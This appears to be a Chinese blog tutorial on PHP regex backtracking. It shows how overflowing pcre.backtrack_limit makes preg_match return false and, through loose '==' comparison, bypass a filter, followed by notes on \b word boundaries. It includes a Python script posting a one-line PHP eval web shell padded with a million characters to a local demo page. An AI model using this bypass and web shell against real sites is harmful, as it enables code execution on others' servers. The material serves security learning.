php正则回溯问题

什么是正则回溯

从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”

惰性(非贪婪)模式回溯过程:

text = "abc"

regex = "ab{1,3}c"

 

 

非贪婪,对\d而言(就它很懒嘛)直接先匹配1之后匹配成功,后再匹配\b(\b的理解放会在目录的补充里,总之这里先记着匹配不成功),此时产生回溯,然后继续匹配\ d,然后显而易见匹配成功,继续走\b一直会重复这个过程,结果就是整个匹配不成功,这整个过程就是所谓的回溯

 贪婪匹配模式回溯过程

 

贪婪匹配,会在第一次匹配上它所有可以匹配的,然后走到\b,显然\b并匹配没有成功

 然后贪婪就要吐值

 可是\b又是匹配失败(感觉\b真是个猪队友,好坑,\d实在是带不动)

那\d只好继续吐出一个值,\b有匹配不上,然后一直到1,还是失败,然后这个正则就失败了,这个回吐过程也就是回溯啦

为什么可以利用正则回溯进行绕过

大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是 false表示此次执行失败。

在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:

  • 使用两个等号 == 比较,只比较值,不比较类型。
  • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
  • == 在进行比较的时候,会先将字符串类型转化成相同,再比较

"0" == false: bool(true)
"0" === false: bool(false)

php正则回溯绕过案例

PHP源码:

<?php

$input = $_POST['file'];

if(is_php($input)=='0') {

    echo "flag{raoguo-cenggong}";

}else{

    echo "bad requests";

}

function is_php($data){ 

    return preg_match('/<\?.*[(`;?>].*/is', $data); 

}

python绕过源码:

import requests

datas = {

    'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000

}

res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)

print(res.text)

当回溯次数为999990次时的运行结果:

当回溯次数为1000000次时的运行结果:

补充

\b的理解

首先认识一下陌生的\b

\b 是正则表达式规定的一个特殊代码,代表着单词的开头或结尾,也就是单词的分界处。虽然通常英文的单词是由空格,标点符号或者换行来分隔的,但是 \b 并不匹配这些单词分隔字符中的任何一个,它只匹配一个位置。

如果需要更精确的说法,\b 匹配这样的位置:它的前一个字符和后一个字符不全是(一个是,一个不是或不存在) \w。

想要理解\b就要先理解位置这个概念

什么是位置

It's a nice day today.

'I' 占一个位置,'t' 占一个位置,所有的单个字符(包括不可见的空白字符)都会占一个位置,这样的位置我给它取个名字叫“显式位置”。

注意:字符与字符之间还有一个位置,例如 'I' 和 't' 之间就有一个位置(没有任何东西),这样的位置我给它取个名字叫“隐式位置”。

“隐式位置”就是 \b 的关键!通俗的理解,\b 就是“隐式位置”。

此时,再来理解一下这句话:

如果需要更精确的说法,\b 匹配这样的位置:它的前一个字符和后一个字符不全是(一个是,一个不是或不存在) \w。

我用我的话来翻译一下这句话:

“隐式位置” \b,匹配这样的位置:它的前一个“显式位置”字符和后一个“显式位置”字符不全是 \w。

此刻,有没有一种豁然开朗的感觉?有么有?有么有?有么有?

实例讲解

 

就用 "It's a nice day today." 举例说明:

正确的正则:\bnice\b

分析:第一个 \b 前面一个字符是空格,后面一个字符是 'n',不全是 \w,所以可以匹配出 'n' 是一个单词的开头。第二个 \b 前面一个字符是 'e',后面一个字符是空格,不全是 \w,可以匹配出 'e' 是一个单词的结尾。所以,合在一起,就能匹配出以 'n' 开头以 'e' 结尾的单词,这里就能匹配出 "nice" 这个单词。

错误的正则:a\bnice

分析:我见过有人类似于这样来写正则,想要达到的目的是匹配出上一个单词以 'a' 结尾,下一个单词以 'n' 开头的部分,这里想匹配出 "a nice"。但是这个正则表达的可不是这个目的,\b 前面是字符 'a',后面是字符 'n',两个都是“显式字符”,显然违背了 \b 的含义,所以这就是个错误的表达式,匹配不出任何东西。想要匹配出 "a nice",正确的正则写法是:a\b.\bnice(不能换行)

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Rek'Sai

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值